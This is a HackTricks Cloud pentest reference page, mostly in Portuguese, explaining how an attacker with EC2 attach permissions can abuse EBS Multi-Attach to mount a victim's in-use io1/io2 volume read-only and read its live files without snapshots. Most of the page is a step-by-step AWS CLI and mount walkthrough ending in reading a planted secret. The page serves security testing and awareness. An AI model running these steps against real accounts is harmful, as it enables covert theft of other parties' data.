AWS - Live Data Theft via EBS Multi-Attach
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
Abuse EBS Multi-Attach para ler de um volume de dados io1/io2 em uso, anexando o mesmo volume a uma instância controlada pelo atacante na mesma Availability Zone (AZ). Montar o volume compartilhado em modo somente leitura fornece acesso imediato a arquivos em uso sem criar snapshots.
Requisitos
- Volume alvo: io1 ou io2 criado com
--multi-attach-enabledna mesma AZ que a instância do atacante. - Permissões:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancessobre o volume/instâncias alvo. - Infraestrutura: tipos de instância baseados em Nitro que suportam Multi-Attach (famílias C5/M5/R5, etc.).
Observações
- Monte em somente leitura com
-o ro,noloadpara reduzir o risco de corrupção e evitar replays do journal. - Em instâncias Nitro, o dispositivo NVMe do EBS expõe um caminho estável
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(auxiliar abaixo).
Prepare a Multi-Attach io2 volume and attach to victim
Exemplo (crie em us-east-1a e anexe à vítima):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Na máquina da vítima, formate/monte o novo volume e escreva dados sensíveis (ilustrativo):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Anexar o mesmo volume à attacker instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Montar read-only no attacker e ler dados
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Resultado esperado: O mesmo VOL_ID mostra múltiplos Attachments (victim and attacker) e o attacker pode ler arquivos escritos pelo victim sem criar nenhum snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Auxiliar: encontrar o caminho do dispositivo NVMe pelo Volume ID
Em instâncias Nitro, use o caminho estável by-id que incorpora o volume id (remova o traço depois de vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impacto
- Acesso imediato de leitura aos dados em tempo real no volume EBS de destino sem gerar snapshots.
- Se montado em modo read-write, o atacante pode manipular o sistema de arquivos da vítima (risco de corrupção).
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud